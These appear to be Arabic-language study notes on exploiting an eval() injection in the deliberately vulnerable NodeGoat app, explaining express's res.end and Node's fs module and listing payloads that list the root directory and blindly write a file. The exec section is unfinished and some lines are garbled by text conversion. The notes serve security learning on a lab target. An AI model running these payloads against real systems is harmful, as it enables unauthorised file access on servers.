ملاحظات:

- الـ NodeGoat يستخدم الـ NodeGoat في عمله
- الـ express module بإختصار هو web application framework بإختصار هو web application framework بإختصار هو Http الكثير من الخصائص التي قد يحتاجها المبرمج في بناء تطبيقه، مثل التعامل مع الـ request & response headers
- ا مرجع:
 https://www.tutorialspoint.com/nodejs/nodejs_express_framework.ht
 <u>m</u>
 - الأشياء التي سنقوم بإستخدامها في بناء الإستغلالات
 - objects الموجودة في الـ res ==> من الـ objects الموجودة في الـ express module
 - HTTP Response يتيح لنا التعامل مع الـobject و مذا الـ
 - end في نداء الدالة object سنقوم بإستخدام هذا الـ object
 - o الدالة end وظيفتها بإختصار هي إخبار الـ Server بأن كل الـ end وظيفتها بإختصار هي إخبار الـ Server سيعرف أن عملية الإرسال اكتملت، هذه headers تم إرسالها ، بالتالي الـ Server سيعرف أن عملية الإرسال اكتملت، هذه الدالة لابد أن يتم نداءها عند إرسال كل response
 - مرجع:

https://nodejs.org/api/http.html#http_response_end_data_enc_oding_callback

- 2 راح نستخدم الـ Fs module
- هذا الـ module يتيح لنا التعامل مع الـ File System مثل عمليات الكتابة والقراءة
 - https://nodejs.org/api/fs.html#fs_file_system : مرجع
 - راح نستخدم الدالة readdirSync في الـ Fs ، وظيفتها بإختصار قراءة محتوى الـ Directory
 - راح نستخدم الدالة writeFile في الـ Fs ، وظيفتها كتابة ملف ما

الإستغلالات:

1 - exploiting eval API

- // Root Directory listing res.end(require('fs').readdirSync('/').toString())
- // Write output into a response res.end('testValue= eval is EVIL')
- // writing a file Blind Injection, needs a step after this to check if the file has been written or not?

res.end(require('fs').writeFile('testFile.txt', 'This is the content of the file', () => {}))

2 - exploiting exec API through eval API

Still trying to figure it out --